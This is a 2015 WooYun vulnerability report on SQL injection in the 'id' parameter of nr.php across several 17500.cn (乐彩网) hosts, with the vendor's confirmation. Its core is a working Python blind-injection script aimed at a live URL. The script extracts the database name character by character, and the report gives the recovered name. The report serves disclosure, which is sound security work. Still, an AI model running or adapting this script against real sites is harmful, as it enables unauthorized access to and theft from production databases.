当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123819

漏洞标题:乐彩网两处SQL注入打包(附验证脚本)

相关厂商:乐彩网

漏洞作者: 路人甲

提交时间:2015-07-01 10:25

修复时间:2015-08-15 10:36

公开时间:2015-08-15 10:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认,细节仅向厂商公开
2015-07-11: 细节向核心白帽子及相关领域专家公开
2015-07-21: 细节向普通白帽子公开
2015-07-31: 细节向实习白帽子公开
2015-08-15: 细节向公众公开

简要描述:

多处打包

详细说明:

存在注入的地址:
http://web3.17500.cn/800/nr.php?id=27
http://web2.17500.cn/800/nr.php?id=27
http://web1.17500.cn/800/nr.php?id=27
http://17500.cn/800/nr.php?id=27
都是同样的就一起提交了

漏洞证明:

数据库名9位

1.PNG


基础不行,写了好久,验证脚本如下

#encoding=utf-8
import time
import string
import sys
import random
import urllib
import urllib2
data={}
def http_conn(url):
url_test='http://web3.17500.cn/800/nr.php?id=27'+url
req=urllib2.urlopen(url_test)
html_doc=req.read()
if html_doc.find('2010069')>0:
return True
else:
return False
database='c'
payloads=list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
for i in range(2,10,1):
for payload in payloads:
url=" and left(database(),%s)='%s' " % (i,(database+payload))
print url
if http_conn(url)==True:
database+=payload
print 'current database:'+database
break


2.PNG


3.PNG


当前数据库名
cnlot2004

修复方案:

好像有waf,也不怎么给力啊

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-07-01 10:34

厂商回复:

我们尽快修复,谢谢!

最新状态:

暂无